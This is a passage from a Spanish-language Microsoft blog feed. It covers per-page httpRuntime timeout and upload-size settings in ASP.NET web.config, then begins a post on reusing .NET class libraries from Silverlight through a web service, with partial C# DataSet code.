<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span style="font-family: Calibri;">Los par&aacute;metros de la secci&oacute;n <b>&lt;httpRuntime&gt;</b>&nbsp;<span style="FONT-SIZE: 12pt"><span style="font-family: Calibri;">se pueden configurar </span></span>a nivel de web.config de aplicaci&oacute;n, e incluso a nivel de una p&aacute;gina espec&iacute;fica de la siguiente manera:<o:p></o:p></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><o:p><span style="font-family: Calibri;"></span></o:p></span></p>
<p class="MsoNormal"><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US"></span>&nbsp;</p>
<p class="MsoNormal"><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">&lt;?</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: #a31515; FONT-SIZE: 12pt; mso-ansi-language: EN-US">xml</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US"> </span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: red; FONT-SIZE: 12pt; mso-ansi-language: EN-US">version</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">=</span><span lang="EN-US" style="FONT-FAMILY: Consolas; FONT-SIZE: 12pt; mso-ansi-language: EN-US">"<span style="COLOR: blue">1.0</span>"<span style="COLOR: blue">?&gt;<o:p></o:p></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">&lt;</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: #a31515; FONT-SIZE: 12pt; mso-ansi-language: EN-US">configuration</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">&gt;<o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US"><o:p>&nbsp;</o:p></span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US"><o:p>&nbsp;...</o:p></span></p>
<p class="MsoNormal"><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">&nbsp; &lt;</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: #a31515; FONT-SIZE: 12pt; mso-ansi-language: EN-US">location</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US"> </span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: red; FONT-SIZE: 12pt; mso-ansi-language: EN-US">path</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">=</span><span lang="EN-US" style="FONT-FAMILY: Consolas; FONT-SIZE: 12pt; mso-ansi-language: EN-US">"<span style="COLOR: blue">Default.aspx</span>"<span style="COLOR: blue">&gt;<o:p></o:p></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">&nbsp;&nbsp;&nbsp; </span><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&lt;!--<o:p></o:p></span></p>
<p class="MsoNormal"><span style="FONT-FAMILY: Consolas; COLOR: green; FONT-SIZE: 12pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aqu&iacute; la configuraci&oacute;n espec&iacute;fica <o:p></o:p></span></p>
<p class="MsoNormal"><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;</span><span style="FONT-FAMILY: Consolas; COLOR: green; FONT-SIZE: 12pt">para la p&aacute;gina Default.aspx del<o:p></o:p></span></p>
<p class="MsoNormal"><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;</span><span style="FONT-FAMILY: Consolas; COLOR: green; FONT-SIZE: 12pt">directorio virtual al que aplica <o:p></o:p></span></p>
<p class="MsoNormal"><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;</span><span style="FONT-FAMILY: Consolas; COLOR: green; FONT-SIZE: 12pt">este web.config. <o:p></o:p></span></p>
<p class="MsoNormal"><span style="FONT-FAMILY: Consolas; COLOR: green; FONT-SIZE: 12pt">&nbsp;&nbsp;&nbsp; </span><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">--&gt;<o:p></o:p></span></p>
<p class="MsoNormal"><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt"><o:p>&nbsp;</o:p></span></p>
<p class="MsoNormal"><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">&nbsp;&nbsp;&nbsp; &lt;</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: #a31515; FONT-SIZE: 12pt; mso-ansi-language: EN-US">system.web</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">&gt;<o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&lt;</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: #a31515; FONT-SIZE: 12pt; mso-ansi-language: EN-US">httpRuntime</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US"> <o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: red; FONT-SIZE: 12pt; mso-ansi-language: EN-US">executionTimeout</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">=</span><span lang="EN-US" style="FONT-FAMILY: Consolas; FONT-SIZE: 12pt; mso-ansi-language: EN-US">"<span style="COLOR: blue">600</span>"<span style="COLOR: blue"> <o:p></o:p></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: red; FONT-SIZE: 12pt; mso-ansi-language: EN-US">maxRequestLength</span><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">=</span><span lang="EN-US" style="FONT-FAMILY: Consolas; FONT-SIZE: 12pt; mso-ansi-language: EN-US">"<span style="COLOR: blue">61440</span>"<span style="COLOR: blue"> /&gt;<o:p></o:p></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt; mso-ansi-language: EN-US">&nbsp;&nbsp;&nbsp; </span><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&lt;/</span><span style="FONT-FAMILY: Consolas; COLOR: #a31515; FONT-SIZE: 12pt">system.web</span><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&gt;<o:p></o:p></span></p>
<p class="MsoNormal"><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&nbsp; &lt;/</span><span style="FONT-FAMILY: Consolas; COLOR: #a31515; FONT-SIZE: 12pt">location</span><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&gt;<o:p></o:p></span></p>
<p class="MsoNormal"><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&nbsp; <o:p></o:p></span></p>
<p class="MsoNormal"><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&lt;/</span><span style="FONT-FAMILY: Consolas; COLOR: #a31515; FONT-SIZE: 12pt">configuration</span><span style="FONT-FAMILY: Consolas; COLOR: blue; FONT-SIZE: 12pt">&gt;</span><span style="FONT-FAMILY: Consolas; FONT-SIZE: 16pt"><o:p></o:p></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span style="font-family: Calibri;">Esto &uacute;ltimo&nbsp;es recomendable, dado que aumentar el <strong>executionTimeout </strong>de todas las p&aacute;ginas de una aplicaci&oacute;n puede tener consecuencias negativas. En general, los timeout se deben mantener con valores razonablemente bajos, precisamente para que cuando se produzca una situaci&oacute;n de bloqueo, se lanze la excepci&oacute;n y se&nbsp;finalice el procesamiento de la p&aacute;gina en poco tiempo&nbsp;de forma que se libere el thread y se puedan atender otras peticiones. Con timeouts elevados se podr&iacute;an llegar a agotar todos los threads&nbsp;en situaciones de bloqueo, por tardar demasiado en ser liberados. </span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span style="font-family: Calibri;"></span></span>&nbsp;</p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span style="font-family: Calibri;">Por &uacute;ltimo, si una vez habiendo configurado nuestra aplicaci&oacute;n con valores adecaudos, la carga de ficheros sigue fallando con errores <strong>HTTP 400</strong> en los logs de IIS y errores de <strong>Timer_EntityBody</strong> en los logs de HTTP.sys (HTTPERR), probad a desinstalar la funcionalidad de SNP (Scalable Networking Pack) en el servidor web siguiente los instrucciones del siguiente art&iacute;culo:</span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"></span><span style="FONT-SIZE: 12pt"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><span style="font-family: Calibri;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"></span></span></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><span style="font-family: Calibri;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;">An update to turn off default SNP features is available for Windows Server 2003-based and Small Business Server 2003-based computers</span></span></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><span style="font-family: Calibri;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"></span><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><a href="https://support.microsoft.com/default.aspx?scid=kb;EN-US;948496"><span style="color: #0000ff;">https://support.microsoft.com/default.aspx?scid=kb;EN-US;948496</span></a></span></span></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><span style="font-family: Calibri;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"></span></span></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><span style="font-family: Calibri;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"></span></span></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><span style="font-family: Calibri;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;">Estos cambios requieren reincio del sistema operativo para entrar en vigor.</span></span></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><span style="font-family: Calibri;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"></span></span></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><span style="font-family: Calibri;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"></span></span></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><span style="font-family: Calibri;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"></span></span></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><span style="font-family: Calibri;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;">Espero que os haya sido de utilidad. </span></span></span></span></p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;"><span style="font-family: Calibri;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US;">- Daniel Mossberg</span></span></span></span></p>
<p class="MsoNormal">&nbsp;</p>
<p class="MsoNormal"><span style="FONT-SIZE: 12pt"><span style="font-family: Calibri;"></span></span></p>]]></content:encoded>
    </item>
    <item>
      <title>Cómo reutilizar el código de una biblioteca de clases .NET desde una aplicación Silverlight</title>
      <link>https://docs.microsoft.com/archive/blogs/daniem/cmo-reutilizar-el-cdigo-de-una-biblioteca-de-clases-net-desde-una-aplicacin-silverlight</link>
      <pubDate>Tue, 13 Apr 2010 08:36:00 GMT</pubDate>
      <dc:creator><![CDATA[Daniel Mossberg]]></dc:creator>
      <guid
        isPermaLink="false">https://blogs.msdn.microsoft.com/daniem/2010/04/13/cmo-reutilizar-el-cdigo-de-una-biblioteca-de-clases-net-desde-una-aplicacin-silverlight/</guid>
      <description><![CDATA[Existe cierta confusión con la compatibilidad entre binarios de Silverlight y binarios de .NET, y a...]]></description>
      <content:encoded><![CDATA[<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>Existe cierta confusión con la compatibilidad entre binarios de Silverlight y binarios de .NET, y a más de uno le pilla por sorpresa que en un proyecto de Visual Studio de una aplicación Silverlight, no se pueden referenciar bibliotecas de clases (<I style="mso-bidi-font-style: normal">class library</I>) desarrolladas en .NET de escritorio (para diferenciarlo del .NET de Silverlight). El motivo es que el <I>runtime</I> y la biblioteca de clases de .NET para Silverlight es un subconjunto del <I>runtime</I> y la biblioteca de clases de .NET de escritorio, y por lo tanto no son directamente compatibles. <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>Se puede migrar el código de las clases .NET a clases .NET para Silverlight, y en ocasiones puede ser tan sencillo como recompilar el mismo código fuente (por ejemplo, como una <B style="mso-bidi-font-weight: normal">Silverlight Class Library</B>). En otras ocasiones esta migración no es directa, dado que la biblioteca de clases de Silverlight no contiene todas las clases que la biblioteca de clases del Framework .NET.<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-ansi-language: EN-US" lang=EN-US><FONT face=Calibri>.NET Framework Class Library<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><A href="https://msdn.microsoft.com/en-us/library/ms229335.aspx" mce_href="https://msdn.microsoft.com/en-us/library/ms229335.aspx"><SPAN style="mso-ansi-language: EN-US" lang=EN-US><FONT color=#0000ff face=Calibri>https://msdn.microsoft.com/en-us/library/ms229335.aspx</FONT></SPAN></A></SPAN><SPAN style="FONT-SIZE: 12pt; mso-ansi-language: EN-US" lang=EN-US><o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-ansi-language: EN-US" lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-ansi-language: EN-US" lang=EN-US><FONT face=Calibri>.NET Framework Class Library for Silverlight<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-ansi-language: EN-US" lang=EN-US><A href="https://msdn.microsoft.com/en-us/library/cc838194.aspx" mce_href="https://msdn.microsoft.com/en-us/library/cc838194.aspx"><FONT face=Calibri>https://msdn.microsoft.com/en-us/library/cc838194.aspx</FONT></A><o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-ansi-language: EN-US" lang=EN-US><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>Supongamos que queremos reutilizar unas bibliotecas de clases que manejan objetos <B style="mso-bidi-font-weight: normal">DataSet</B>, y dado que .NET para Silverlight (hasta la versión Silverlight 4 RC) no contiene el <I style="mso-bidi-font-style: normal">namespace</I> <B style="mso-bidi-font-weight: normal">System.Data</B>, no podemos simplemente recompilar el código fuente (fallaría la compilación dado que no estarían implementada ninguna clase <B style="mso-bidi-font-weight: normal">DataSet</B>). <o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>Una posible implementación que nos permite reutilizar al máximo nuestras bibliotecas de clases .NET desde aplicaciones Silverlight sería implementar una interfaz, expuesta como un <I>web service</I>, y consumir dicho web service desde la aplicación Silverlight. <o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>De esta manera, todo el código de .NET de escritorio se ejecutará en el servidor web, y la aplicación Silverlight que se ejecutará en el navegador del cliente únicamente representará la capa de presentación. <o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>Os muestro un pequeño ejemplo en C# como prueba de concepto. En este ejemplo, el <I>web service</I> está implementado como un web service de ASP.NET 2.0 (*.asmx), pero considerad la posibilidad de implementarlo como un web service WCF (Windows Communication Foundation), que es la siguiente generación de <I>web services</I> de .NET. <o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><FONT face=Calibri>Supongamos que tenemos la siguiente clase en nuestra biblioteca de lógica de negocio. Esta es la clase cuyo código nos gustaría reutilizar en Silverlight, pero dado que hace uso de <B style="mso-bidi-font-weight: normal">System.Data</B> no podemos recompilar el código sin más.<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>using</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US> System;<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>using</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US> System.Data;<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><FONT size=3><SPAN style="FONT-FAMILY: Consolas; COLOR: blue; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US>namespace</SPAN><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US> SilverlightTest.Web<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3>{<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">public</SPAN> <SPAN style="COLOR: blue">class</SPAN> <SPAN style="COLOR: #2b91af">BusinessLogic</SPAN><o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: blue">public</SPAN> <SPAN style="COLOR: #2b91af">DataSet</SPAN> getCustomerData(<SPAN style="COLOR: blue">int</SPAN> customerID)<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: #2b91af">DataSet</SPAN> dataSet = <SPAN style="COLOR: blue">new</SPAN> <SPAN style="COLOR: #2b91af">DataSet</SPAN>();<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="COLOR: #2b91af">DataTable</SPAN> dataTable = <SPAN style="COLOR: blue">new</SPAN> <SPAN style="COLOR: #2b91af">DataTable</SPAN>();<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>dataTable.Columns.Add(<SPAN style="COLOR: #a31515">"Columna 1"</SPAN>);<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #ffffff; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><FONT size=3><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>dataTable.Columns.Add(<SPAN style="COLOR: #a31515">"Columna 2"</SPAN>);<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none" class=MsoNormal><SPAN style="FONT-FAMILY: Consolas; mso-ansi-language: EN-US; mso-bidi-font-size: 9.5pt" lang=EN-US><o:p><FONT size=3>&nbsp;</FONT></o:p></SPAN></P>
